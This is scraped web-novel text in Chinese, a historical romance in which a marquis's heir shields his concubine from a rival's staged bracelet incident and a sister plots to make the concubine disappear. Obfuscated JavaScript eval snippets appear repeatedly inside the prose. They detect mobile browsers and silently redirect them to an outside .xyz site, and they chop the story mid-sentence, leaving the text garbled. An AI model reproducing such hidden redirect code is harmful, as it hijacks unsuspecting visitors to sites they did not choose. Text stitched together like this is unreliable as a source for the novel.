;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508587|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别只喝汤,也用些别的。” 沈清念看着他箸上油糯糯的陈皮鸭,张开嘴,轻轻咬到了嘴里。 她一天都未吃饭,此时也的确是有些饿了。 更重要的是她现在活下来了,还能安稳地坐在这儿用饭,自然是吃什么都有滋味。 谢宴之见她吃得乖顺又满足,又夹了些玉菇放到她碗里。 沈清念低头看着碗里堆得越来越多的菜,忍不住抬头道:“世子,你也吃。” 谢宴之皱了皱眉,声音沉了些:“你叫我什么?” 沈清念这才回过神来,喊了一声:“夫君。” 谢宴之眼底终于染上了半分笑意,他拿起自己的筷子,夹了一口菜,慢慢吃了起来。 晚上梳洗了以后,谢宴之一手抱着沈清念,一手隔着轻薄的纱衣,轻轻摩挲在那淤痕上, 心里若有所思。 而沈清念今日已是筋疲力尽,被谢宴之抱住,又十分温暖,倦意一下涌了上来,不待谢宴之入睡,她已经睡得沉了。 屋子里只留下了一小盏灯,谢宴之听着怀里的人传来清浅的呼吸声,他凑了上去,瞧了眼她的脸,又伸出手指轻轻碰了碰那长长的睫毛。 最后又碰了碰她小巧的鼻尖和红唇,这才躺回了自己的枕头上,重新抱住了沈清念,凑近闻着她身上那熟悉又令他心安的香味。 此时,身边的人儿像是觉得冷,转身往他怀里又缩了缩,额头抵在了他的胸口。 他的心又软了软。 自从幼时他的生母过世后,他就再没有与人同床共枕了。 而今夜怕是这段日子以来,沈清念最安稳地一个晚上。 沈清念做了他的姨娘后,两人还是第一次这样温柔地相拥。 她是那样贪恋着他身上的温度,那样乖顺地躺在她身边,这让他觉得他终于也有了自己的温馨日子了。 他低头看着怀中人的睡颜,心里忽然生出一个念头,往后就算有了主母,他恐怕也只想宿在这玉恒居里。 那这主母的人选,得好好挑挑了,绝不能找个善妒的,扰了他和她的清净。 第一百五十七章 更让他喜欢 第二日天蒙蒙亮,谢宴之就起了床,昨夜回府回得早,现在还有好多事等着他处理。 他轻轻掀开被子,穿好皂靴,可床上的人儿还是一动未动,睡得正香甜。 谢宴之看着她,想起昨夜她在他怀里说的那句往后定会好好侍奉夫君,心道她就是个骗子。 他伸手替她掖了掖被角,又盯着那张清丽的脸看了看。 看来,他还是太娇惯她了些。 不过这般模样,倒比平日里那副冷清倔强的样子,更让他喜欢。 待他穿戴整齐,走到门口时,又回头看了一眼床榻上的人,见她还没醒,这才大步走了出去。 沈清念醒过来的时候,床榻外侧早已没了温度,锦被上只余一道浅浅的压痕,显然谢宴之已经离开许久。 这时,门外传来脚步声,红玉端着铜盆进来,见她醒了,连忙笑着福身:“姨娘醒了?”沈清念撑着身子坐起来:“世子起来时,怎么不喊醒我?” 毕竟她昨夜为了哄他高兴,让他放她休息,才说了要好好侍奉他。 今日便是这般态度,怕又惹得谢宴之不高兴。 “大公子吩咐了,不让打扰姨娘休息。”红玉说这话的时候,带着笑。 大公子对姨娘当真是体贴又宠爱的。 “那世子走时,看着可还好?” 沈清念害怕谢宴之只是一时平静,下了值后又变着法子责罚她。 红玉不知沈清念这样问是何意思,不过她回想了一下。 大公子走的时候,脸上的神情十分平静,周身的气质跟往日一样清冷,没什么不同之处。 “大公子一切看着都好的。” 她说着,过来服侍沈清念穿好了衣裳,又拧干了巾子,递给沈清念擦脸。 玉竹这时提着食盒进来了,脸上同样带着笑:“姨娘,用早膳了。” 沈清念过去坐着,看着同昨日一样精致的白瓷盘,丰盛的菜品,眼中有些疑惑。 玉竹笑道:“姨娘,这是按照大公子的那份做的。” “今日一大早,大公子就打了招呼,说这段时日都会留在玉恒居。” “所以现在咱们玉恒居的吃穿用度都是按照大公子的份立来的。” 玉竹说着,嘴角的笑都压不住。 昨夜大公子与清姨娘和好如初,连带着她们做下人的吃穿份立都好了。 沈清念喝着玉竹盛过来的虫草粥,心道哄好了谢宴之还是有些好处地的。 至少可以让她安安稳稳地计划着后面的事。 看着眼前这两个丫头,沈清念想到了菱儿。 这一次,她应该怎样安置菱儿,才能不被谢宴之掣肘呢? 用过饭后,沈清念在屋子里觉得烦闷,便让红玉陪着去院子里走走。 玉恒居收拾得十分雅致,墙角种着几株海棠。 此时正是花苞满枝的时节,嫩绿的新叶衬着粉白的花苞,看着就让人心旷神怡。 她沿着鹅卵石铺就的小径慢慢走着,隐约听见院门口传来一阵清脆的笑声。 紧接着,一个穿着水绿色襦裙的女子带着两个丫鬟走了过去。 虽只有匆匆一眼,沈清念还是认出了李慧妍。 她如今已经成了谢宴之的姨娘,怕李慧妍见着她,会来寻她的麻烦,沈清念转身欲走。 “清念妹妹!”李慧妍往后退了一步,站在院门口喊住了她。 沈清念的脚步顿了顿,有些怀疑自己的耳朵听错了。 李慧妍喊她妹妹,以她的身份,似乎配不上这个称呼。 并且她的声音还那样温柔,跟上次见面时对她的态度全然不同。 她缓缓转过身时,李慧妍已经带着丫鬟朝她走了过来。 “自山庄一别后,好久不曾见到你了,没曾想你已经成了世子的姨娘了。” 听李慧妍这样说,沈清念只是脸上带着些笑,并没有说话。 沈清念对李慧妍这样的态度有些好奇,不知她葫芦里在卖什么药。 见沈清念不说话,李慧妍又举了举手中的东西道:“今日想着世子休沐,过来将书还给他的,可刚刚那观澜居的小厮说世子不在。” “清念妹妹,世子是否在你的院中?” 之前她托老夫人的福,在谢宴之的书房里借了两本孤本,今日是来归还的。 也趁机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512731|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见一见谢宴之,谁知他竟不在。 刚刚见老夫人的时候,老夫人也委婉地说了,谢宴之回来没两天就将沈清念抬为了姨娘。 沈清念这才看到她手中的古本。 她看着李慧妍那张可以打扮过的脸,以及身上那身飘逸的衣裙,心里暗道,只怕还书是个幌子,她是想见见谢宴之的吧。 上次谢宴之在红袖山庄的举动,几乎是让这位李小娘子落了颜面,今日她竟还巴巴地寻上门来。 看来这李小娘子对谢宴之还真是情深。 沈清念摇了摇头:“世子一早就出府了,并不在我院中。” 言下之意,就是让李慧妍赶紧走,不要烦她。 李慧妍听了这话,竟然也不恼。反而笑道:“那我可否进去讨杯茶喝?” 红玉这才觉得眼前的这位娘子不简单,她们姨娘都下逐客令了,还能厚着脸皮讨茶喝。 沈清念完全摸不透李慧妍想做什么。 她今日对自己一直是客客气气的,身上保持着闺秀的端庄。 不过,既然她这样说了,冒然把人赶走,也不好。 沈清念点点头,侧身让开路:“当然,李小娘子请。” 李慧妍微笑着颔首,拢着衣袖,一边走,一边看着玉恒居的一应布置与摆设。 今日老夫人提到沈清念时,气到用拐杖重重敲了几下地。可见她在府中,并不得老夫人的喜爱。 不过入了这玉恒居,她才明白沈清念为何不被老夫人所喜。 实在是这谢世子太过宠爱沈清念了。 这玉恒居雕梁画栋,屋子里的桌椅家具,均是上等梨花木,价值千金。 她瞥了一眼里间,竟然摆着一张祥云雕花拔步床! 这样的院子应当是祖母才用得上的,现在谢宴之竟给了沈清念这样一个妾室! “李小娘子请。”红玉将泡好的茶端到李慧妍跟前。 李慧妍一眼就认出那琉璃杯是宫中的御赐之物,圣上就得了两对儿,一对儿在她姐姐丽妃娘娘宫中。 另外一对儿,怕是在这姨娘这儿了。 李慧妍压下眼底的异样,笑着接过了琉璃杯。 第一百五十八章世子回来瞧见,可是要心疼的 李慧妍低头看了一眼杯中的茶,一下就认出是御前龙井,险些漏了些情绪。 而沈清念将李慧妍的方才的神情看在眼里,见她盯着茶,脸色有些微变。 她也看了一眼,又浅酌了一口。 这与她平日里喝的小毛尖全然不同。 毕竟是谢宴之才有的茶,也难怪李慧妍露出那样的神情。 怕是觉得她一个姨娘的身份,根本不配喝上这样精贵的茶。 李慧妍放下杯子,又用帕子擦了擦嘴角,脸上带着淡淡的笑容看向沈清念。 “妹妹那日又何必求助于我呢?”李慧妍说着,脸上的笑意仍然不减, “我瞧着这院子里的一切都是顶顶好的,可见世子待妹妹是真的好。” 沈清念听了这话,再看李慧妍看向她那别有深意的眼神,心里也有了数。 她轻轻皱了下眉,露出一丝不好意思:“当日是我莽撞了,唐突了李小娘子。” “原以为世子只是喜欢我的皮囊,不曾想世子竟是真心待我。” 李慧妍掩面笑了笑:“难怪妹妹当时还有意要撮合我和世子呢。” 李慧妍这话里藏刀,连红玉都听出来了。 这李小娘子脸上虽带着笑,这话里却是句句都在责怪姨娘。 沈清念也不恼,她如今已是谢宴之的姨娘,又刚经历了昨日那一遭,眼下是绝不会在言行上出差错的。 “当日都是我一时糊涂。还望李小娘子莫怪。” 李慧妍仍不退步:“怎么会怪罪妹妹呢,我只是担心妹妹有什么隐情,瞧妹妹眼睛都还有些肿,可是哭过了?” “妹妹若有什么委屈,可跟我说,我肯定帮你的。” 她今日一见沈清念,就看到她两只眼睛有些肿,一看就是哭过的。 想必这人定是受了什么委屈。 若是她仍不愿给谢宴之当妾,那她很乐意帮她。 “昨夜梦到我母亲了,哭了一会儿。让姐姐见笑了。” 沈清念就这样轻飘飘地回答了她,没有诉苦,没有求助。 李慧妍没有听到她想听的,脸上逐渐有些不耐。 正欲说话时,刘麽麽进来了。 见到李慧妍和沈清念,她立刻垂下头。 这两位都是她得罪不起的人物。 一个是将军府的二小姐,是老夫人心里的孙媳妇。 一个是大公子的姨娘,是他心尖尖上的人儿。 她立刻弓着身子道:“李小娘子,清姨娘,老夫人让你们到问心堂说说话呢。” 沈清念不知老夫人今日为何要让她也去说话。 昨日她才在那里受了罚,现在想起来,心里还隐隐有些惧怕。 李慧妍倒是大大方方站起来,笑盈盈道:“老夫人醒了?” 她来靖南侯府,自然是要去见老夫人的,可人到了问心堂,下人却说老夫人正在休息。 听到老夫人还在休息,她不想打扰。 但其实是不愿多等,她本来就是为着谢宴之才来的,可不能在这问心堂浪费时间,便跟刘麽麽说了声,带着丫鬟来了观澜居找谢宴之。 谁料也没见到谢宴之。 她转身,看着还在椅子上坐着的沈清念,见她脸色有些发白,催促道:“清念妹妹,我们快过去吧。” “总不好让长辈久等的。” 刘麽麽听了李慧妍这话,心道这李小娘子是个厉害的,一句话,就给清姨娘扣上了个不尊重长辈的错处。 红玉听了这话,心里同样不舒服。 更觉得这李小娘子拿自己当这侯府的主子了,倒显得姨娘是个不知礼的外人。 见刘麽麽和李慧妍都看着自己,沈清念站起了身,该来的始终是躲不过的。 她不能总躲在这玉恒居,不见人了吧。 “李小娘子说的是,刘麽麽,走吧。” 李慧妍先走出门,沈清念才跟了上去。 沈清念走着走着,见李慧妍忽然停下了脚步,转身看着她,显然是在等她。 沈清念提着裙摆走了上去。 见沈清念跟了上去,李慧妍才重新迈开步子走起来。 从玉恒居到问心堂,这一路上,她始终与沈清念并肩而行。 是时不时的含笑欣赏些花草,两人看起来,像一对闺中密友般。 待到要进问心堂的门槛时,沈清念正要抬脚,李慧妍忽然转身牵着沈清念的手,语气温柔道:“清念妹妹,小心些。” 这举动,落在旁人的眼里,是大度沉稳又得体的。 在沈清念这里,多少有点受宠若惊,她撇了一眼李慧妍,看来这李小娘子是要 老夫人在上首,见到这一幕,捻着佛珠的手指都顿了顿,心里感到很欣慰。 李小娘子明知沈清念是宴哥儿的妾室,不仅没有嫉恨沈清念抢了宴哥儿,还如此大度体贴,对沈清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512732|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念如此体贴。 果然,是端庄大度的,很适合当这侯府的主母。她是越看越满意。 再看沈清念,也就越发不顺眼了。 “老夫人。” “老夫人。” 李慧妍和沈清念都屈膝福礼。 老夫人笑盈盈道:“快坐,快坐。” 当然,这话是对李慧妍说的。 她听得李慧妍去了观澜居,特意让人也将沈清念叫了过来。 一来,她想看看李慧妍见到沈清念时,会是什么反应。 二来,也是有意要给沈清念下马威,干脆将她晾在一边。 听薛氏说起昨儿宴哥儿为了护着她,连自己的母亲都可以忤逆。 她居然能让宴哥儿如此发疯,以后留着也是个不省心的。 沈清念早料到此行不会轻松,她低着头,面上看不出什么异样,仍是乖巧地立在那里。 李慧妍本已坐下,见沈清念还站着,又起身过去,轻轻拉住沈清念的手,将她拉着要往自己的椅子边去:“清念妹妹,你也过来坐呀。” 又对着老夫人道:“老夫人,清念妹妹如今也是世子房里的人,站坏了,世子回来瞧见,可是要心疼的。” 沈清念有些意外,没想到李慧妍居然帮着她说话。 不过这话里头,总有些不对劲的地方。 这不禁让她心中的猜测又加重了几分。 老夫人听了李慧妍的话,和颜悦色的脸瞬间沉了下来。 李小娘子说得对,宴哥儿如此紧着她,自是见不得她受冷待。 可能又会对她这做祖母的心生不满。 哎,真是个祸害! 她见沈清念还是执意不肯去坐,沉着声道:“既然李小娘子让你坐,你还那般扭捏做什么!” 红玉心里一惊,明明就是老夫人不让自己姨娘坐的,如今又来怪姨娘扭捏! 李小娘子又不是这府上的主子,她让姨娘坐,姨娘就能坐吗?当真是有些好笑! 不过,瞧那架势,难不成老夫人是有意让这位李小娘子做世子的正妻? 红玉被她心中的猜想吓到了。 这位李小娘子可不简单,话里一直维护着姨娘,却轻易就能将姨娘推到坑里。 若是让她当了主母,姨娘往后地日子恐怕…… 她不由地看了眼沈清念。 沈清念倒是一脸平静,恭敬行了一礼,这才坐到了李慧妍边上。 第一百五十九章 百口莫辩 待沈清念坐好后,李慧妍对着老夫人道:“今儿可见着宴哥儿了?” 李慧妍摇了摇头:“来得不巧,世子不在。” “不过见到了老夫人也挺好,还碰到了清念妹妹。” “没想到,几日不见,清念妹妹已经成了世子的姨娘了。” 说着,就褪下手上的玉镯,抓着沈清念的手,要给她戴上:“清念妹妹如今成了姨娘,这镯子虽不算稀世珍品,却是我精心挑选的贺礼,还望妹妹不要嫌弃。” 沈清念不知她这又是演的哪一出,但那手镯肯定是不能收的。 她忙伸手推辞:“李小娘子客气了,这般贵重的东西,我实在受不起。” 李慧妍却不允许她拒绝,仍是想将手镯给她戴上:“清念妹妹是不是嫌弃姐姐的这镯子?” 二人推搡间,只听到一声碎裂的声音。 那镯子在二人脚下碎成两截。 李慧妍脸上的笑容僵了僵,眉头微不可察地皱了下。 不过短短一瞬,她的脸上又重新挂上了笑,语气柔和道:“清念妹妹,怎么这般不小心?” 沈清念听到这话,心里有些。李慧妍的意思,这镯子是她弄坏的? 她眼里略带疑惑地看着李慧妍。 一旁的红玉则再次被这位李小娘子的话惊到了。 方才那镯子一直在李小娘子手中,自己姨娘根本碰都没碰,怎么就说成是姨娘的错了? 当真是个厚脸皮! 就在这时,门外传来了一阵脚步声。 李慧妍也大概知道了来人是谁,她心里一阵雀跃,又努力压着心中的兴奋。 抓着沈清念的一只手道:“清念妹妹,没事的,不过是一只镯子罢了。” 谢宴之此时正好踏进屋子,见李慧妍牵着沈清念的手,而沈清念脸色有些难看。 他对着老夫人拱手行礼:“祖母。” 他刚刚处理完了那些琐事,一回府就去了玉恒居。 可门口的丫头却说沈清念被老夫人叫到了问心堂,随行的还有李将军的女儿。 他面色一冷,便抬脚过来了。 老夫人笑眯眯地看着谢宴之,眼里满是慈爱:“宴哥儿回来了?” “李小娘子今日特意过府来寻你的。” 见老夫人这样说,李慧妍脸上露出了些羞涩。 谢宴之转身走到沈清念身边,握住她的手腕,将她的手从李慧妍手中抽了出来。 又看着李慧妍道:“李小娘子,这是怎么回事?” 李慧妍见谢宴之一来就将沈清念的手抽走,还与她并肩站在一起,一副将人护得紧的样子。 她的心就如针扎一般。 她如今这般隐忍都是为了他呀!他对她还是这般冷冰冰。 谢宴之果然被这个低贱的商户女迷得不轻。 她看向一旁的金螺,金螺即刻弯腰捡起了那两截断镯,呈给李慧妍。 李慧妍拿着那两截断镯,给谢宴之瞧,又云淡风轻道:“世子,这镯子本是我拿来恭贺清念妹妹做姨娘的礼物,方才递过去时,不小心被她弄到地上摔坏了。” 沈清念摇了摇头,正欲开口,李慧妍摸住了她的肩,好似懂她摇头的意思。 悠悠道:“我知道妹妹不是故意的,毕竟这是难得一见的碧玉手镯,妹妹也舍不得的。” “当然也是小心才将它碰到了地上。” 李慧妍说着,面上带笑,还给了沈清念一个宽慰的眼神。 红玉抬眼看向李慧妍,李小娘子分明是在说姨娘穷得没见识过好东西,所以才会激动而露出这般丑态来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517271|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在是太过分。 想大公子宠着姨娘,给姨娘屋子里备了好多首饰,就这手镯的成色,根本不算什么难得一见! 听了李慧妍的话,老夫人眼底掠过几分嫌弃。 在她看来,沈清念出身小门小户,见了这般成色的玉镯,竟慌了神,才将那镯子弄掉的,实在是个上不得台面的。 谢宴之看着李慧妍,见李慧妍一脸的坦荡,面上没有丝毫波澜,他又看向沈清念,示意她说话。 沈清念随即道:“不是我碰掉在地上的。” 李慧妍震惊道:“清念妹妹,你这话是何意?” “方才镯子一直在李小娘子手中,这镯子为何会掉到地上,想必没人比李小娘子更清楚了。” 说着,沈清念装作怯弱地低下了头,好像生怕要被人责骂一般。 李慧妍见状,眼底露出震惊,直言道: “清念妹妹?你…你怎可……” 李慧妍说着,眼眶慢慢红了,好似心中有极大地委屈,让她说不出话来,只能哀怨地看着沈清念。 “混账!”老夫人见状,顿时沉下脸,语气里带着训斥:“李小娘子是府上贵客,身份尊贵,岂容你这般污蔑她的清誉!” “不过是只镯子,你不愿收便罢了,弄坏了还敢当众诋毁她!简直不像话。” 李慧妍听见老夫人的话,心里暗暗得意,老夫人明显是偏向她的。 那手镯的确是她故意掉在地上的。 看见的人只有她们四人,金螺是自己的丫鬟,不会出卖自己。 对面那个丫鬟是沈清念的人,说出来的话谁会信? 就算谢宴之有心维护她又如何,沈清念也只能是百口莫辩。 想到这儿,李慧妍倒想看看谢宴之要如何替他心爱的姨娘解围。 第一百六十章 别白日做梦 沈清念听到老夫人如此说,知道她是百口莫辩。 她这样一个无足轻重的人,说什么,都没人会相信她。 又见谢宴之看着她,脸上没什么表情。 她抬眸看向谢宴之,眼底带着一丝不易察觉的委屈,轻声问道开口道:“夫君也不信我?” 老夫人一听,又气道:“你错了就是错了,找宴哥儿做甚!” “还嫌不够给宴哥儿丢脸?” 凡事要宴哥儿撑腰,心里又惦记着别的男人。 偏偏宴哥儿还**上她的当,处处维护她。 李慧妍听见夫君二字,像被人在心上捅了刀子般。 她看谢宴之看着沈清念的眼神里,既没有安慰也没有指责,只是那双眼眸深不见底,让人猜不透他的心思,李慧妍心中隐隐有些不安。 又谢宴之的目光一直都未曾落到她身上,心中叹了口气,知道今日再纠缠下去,只会让谢宴之更加厌烦自己。 她强压下心头的酸涩,脸上挤出一抹勉强的笑容,上前几步,伸手想去握沈清念的手:“清念妹妹,不过是一只镯子罢了,碎了便碎了,咱们别为这点小事闹得不愉快,伤了和气。” 可她的手还没碰到沈清念,谢宴之便先一步上前,抓起沈清念的手腕细细查看。仿佛怕她受了伤一般,随即轻声问道:“我之前给你的那只帝王绿手镯,你怎么没戴?” 沈清念眼里有些惊讶,谢宴之完全没搭理李慧妍,而是问了一句毫无关系的话。 他这话看似随意,落在李慧妍耳中,却字字诛心。 谢宴之什么意思不言而喻。 还没等她缓过来,谢宴之又道:“也难怪你看不上这只玉镯。” “连本世子给的帝王绿镯子都看不上,你这眼界可真够高的。” 听了这话,李慧妍的脸色瞬间变得十分难看,这更是赤裸裸地说她的东西配不上沈清念。 她不敢相信,谢宴之就这样在人前落她的面子。 她的眼眶再一次泛红。 “宴哥儿!”这时,老夫人又忍不住开口想帮李慧妍说话。 谢宴之看向老夫人道:“祖母,方才众人都看着,可有谁亲眼瞧见,这镯子是被念儿碰到地上的?” 老夫人一时语塞,方才李小娘子将镯子给沈清念的时候,是背对着她的。 她确实没看得真切,只是听李小娘子说了一嗓子。 其余的丫鬟婆子,也纷纷低着头。她们也确实没看清。 谢宴之见老夫人语塞,又看向李慧妍:“我瞧着李小娘子的腕子,可比我们家念儿的粗了一倍不止,力气想必也大上好几份。” “李小娘子一直把镯子拿在手里,为何就不能拿稳些?” 一番话下来,李慧妍的脸色由难看转为煞白,愣愣地站在原地,连一句反驳的话也说不出来。 就算她的手腕不纤细,也不至于比沈清念那粗一倍! 谢宴之这是在拐着弯儿说她不如沈清念柔美? 红玉听到这话,心里暗道这样的毒舌的话,大概只有大公子才能说出来吧。 她再看一眼沈清念,眼里又有了些羡慕。 李慧妍看着谢宴之眼里的一丝嫌弃,想着今日她来的目的,绝不是让谢宴之反感她的。 跟她预想的不一样。 都做到这一步了,她不能放弃。 否则,她刚刚做的讨好沈清念的事,那份去**,就白受了。 想到这里,她定了定神,再次上前,想抓住最后一丝机会,伸手去握沈清念的手:“清念妹妹,我们……” 谢宴之见状,直接将沈清念拉到了自己身侧。 眼神冷淡地看着李慧妍,语气带着一丝讽刺:“李小娘子,还是小心些另一只镯子吧,这回念儿可没碰。” 说完,他看向老夫人,微微欠身:“祖母,若是没别的事,我便先带着念儿回去了。” “省得打扰您与李小娘子说话。” 不等老夫人说话,谢宴之便扶着沈清念,转身大步走了出去。 李慧妍见状,顾不得羞窘,也急忙向老夫人行礼告退。 老夫人看着她窘迫的模样,无奈地朝她点了点头。 李慧妍连忙带着身边的丫鬟,快步追了出去。 “世子,请留步!”等谢宴之停下脚步, 李慧妍说着,将手中的两本古书递了过去,“今日我真是来还书的。” 语气带着讨好与委屈:“世子,方才的事,真的是误会。” “我从来没有想过要污蔑清念妹妹,您别误会我。 “她是世子您看重的人,我自然也会敬重她的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518692|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>谢宴之闻言,转头对沈清念温声道:“你先回房等我,我处理完这里的事就回去。”沈清念看了一眼李慧妍,乖巧地点点头,转身先离开。 待沈清念走远后,谢宴之脸上的温柔瞬间褪去。 他突然凑近李慧妍,眼神锐利如刀,冰冷道:“你就这样喜欢我?” “为了能留在我身边,连一个你向来瞧不上眼的卑贱小妾,也愿意低头示好?” 李慧妍被他看得心头一颤,却还是鼓足了勇气,眼神坚定地看着他:“是。只要能与世子在一起,不管做什么,我都愿意。” 她今日来,处处对沈清念包容忍让,甚至强忍着不悦,与沈清念以姐妹相称,不就是让谢宴之知道她能包容他的妾室? 让谢宴之知道选了她当主母,她会善待沈清念。 那镯子是她故意掉在地上的,这样她才可以让沈清念有个错处。 她再表现出不与她计较,甚至还贴心地安慰她。 即使谢宴之不在,这些事也会在她的安排下传到谢宴之的耳朵里。 可她还没来得及发挥,谢宴之就回来了,将事情弄成了现在这样。 还好,谢宴之竟主动问起。 现在她的心砰砰直跳,是又羞又怕。 她已经为了谢宴之,放弃一个小姐的矜持,坦然承认她对他的喜欢。 这是她对谢宴之最好的表白。 可她再细细看去,谢宴之的眼神依旧冰冷,没有半分动容。 谢宴之拿过手里的古书,只留下一句:“李小娘子还是不要白日做梦了,我不会娶你。 说完,他不再理会李慧妍,转身快步离去。 “世子!” 李慧妍站在原地,眼泪簌簌地流了下来。 她心里既愤恨,又委屈。 她都做到这般程度了,谢宴之还不肯接受她! 李慧妍的心里满是不甘与疑惑:沈清念到底哪里比自己好? 为什么世子眼里永远只有她? 一旁的金螺见自己小姐哭得那样难过,低着头也不敢上前安慰。 她了解小姐的性子,这时上去,肯定是要触霉头的。 李慧妍向着谢宴之离开的方向看了看,用帕子擦了擦眼泪,欲带着金螺离去。 刚要抬脚,就见假山后面走出来一个人。 第一百六十一章 吻得越发用力 二人被突然出现的人吓了一跳,金螺忙挡到李慧妍身前道:“你是谁,为何在此处偷听人说话?” 李慧妍看着眼前的人一身鹅黄的衣裳,腰上系着玉佩,头上戴着一套珍珠头面,这样子,应当是府上的小姐。 谢敏笑道:“姐姐不要误会,我是府上的三小姐,谢敏。” “方才我一直在此处歇息,见你和大哥过来了,似说什么要紧的话,我不好打扰,便一直躲在里面。” “实在不是故意偷听的。” 原来这是谢宴之的妹妹,看着是个乖巧懂事的,李慧妍心里没了之前的防备。 但她越看眼前笑盈盈的姑娘,心中越觉得不太对劲。 谢敏若真无心做些什么,大可等她们走了以后再出来,省得她尴尬。 可她突然出来,又拦住她的去路,到底是想做什么? 况且那方才她那大胆又丢脸的样子,岂不是都被她看见了? 想到这儿,李慧妍心里有些不舒服,但她面上又不好发作。 随即在脸上挤出一丝笑:“原来是三小姐,无妨。” “倒是我打扰了妹妹逛园子了。” 谢敏又上前一步道:“姐姐真是知书达理,不像那个清姨娘粗鄙不堪,整日就知道缠着我大哥。” 她又别有深意地看着李慧妍道:“若是姐姐做我的嫂嫂多好?” 李慧妍想着今日到这靖南侯府走了一遭,是颜面尽失。 又听谢宴之那绝情的话,现在已经没了那样的心思。 她也看清了谢宴之果然如传言中那样,是这京城里最难驯服的男子,是她求也求不到的人。 她摇了摇头笑道:“三小姐说笑了,世子日后定会为妹妹寻个端庄的嫂嫂的。” 虽然已经决定放下,可是这话说出来时,李慧妍心里还是泛着酸涩。 谢敏却不打算放过她,继续说道:“姐姐不嫁给我大哥也好,瞧他将你委屈的,我都替你抱不平。” “都怪那个沈清念!” “姐姐生得这般花容月貌的,要不是她,我大哥早就心悦姐姐你了。” 李慧妍听着话,算是听出来。 谢敏很是不喜沈清念。 正好,她也不喜欢。她今日遭受的**,都是因为沈清念。 不能与谢宴之,但她不想放过沈清念。 见李慧妍眼里闪过一丝恨意,谢敏上前握住李慧妍的手:“姐姐,不如我想个法子,帮你教训教训她。” “你为何帮我?” 谢敏掩面笑道:“我与姐姐一见如故,而且,我们都讨厌沈清念。” “我先想个法子给姐姐出气。若姐姐觉着还行,那我也有一个忙想让姐姐帮一帮。” 李慧妍有些疑惑,眼前这位三小姐不简单。 她想了想道: “不知三小姐想让我帮什么忙?” 谢敏见她一副谨慎的样子,不由地觉得好笑。 她又不会吃了她!不知道她在担心什么。 谢敏凑到她耳边道:“帮我让沈清念消失。” 李慧妍听后,满眼震惊!谢敏的胆子太大了,她虽不喜沈清念,却也没想过要她的性命。 “三小姐莫要说笑了,我也没那个本事让一个大活人消失。” 李慧妍出声拒绝。 谢敏:“姐姐莫要自谦。按照我的法子,自会有人替我们出手。” “既然有人帮你,妹妹又需要我做什么?” 谢敏笑道:“只需三小姐当日出几个可使唤的人手就行。” 人手?她将军府自是不缺人手,只是这样的话,倒也不是什么难事。 李慧妍想了想,对着谢敏点了点头:“那我就等着三小姐的好消息了。” 谢敏满脸自信地朝她福了福身:“姐姐放心。” 李慧妍微微颔首,然后就带着金螺离开了侯府。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他忙完宫里的琐事,就赶着回来,想看看怀里这只懒猫起床了没。 若是还没起,他正好再与她温存温存。 谁知道她又被带到问心堂了。 谢宴之将沈清念放到了榻上,手托着她的后脑勺又欺身吻了上去,品尝着那份香甜。 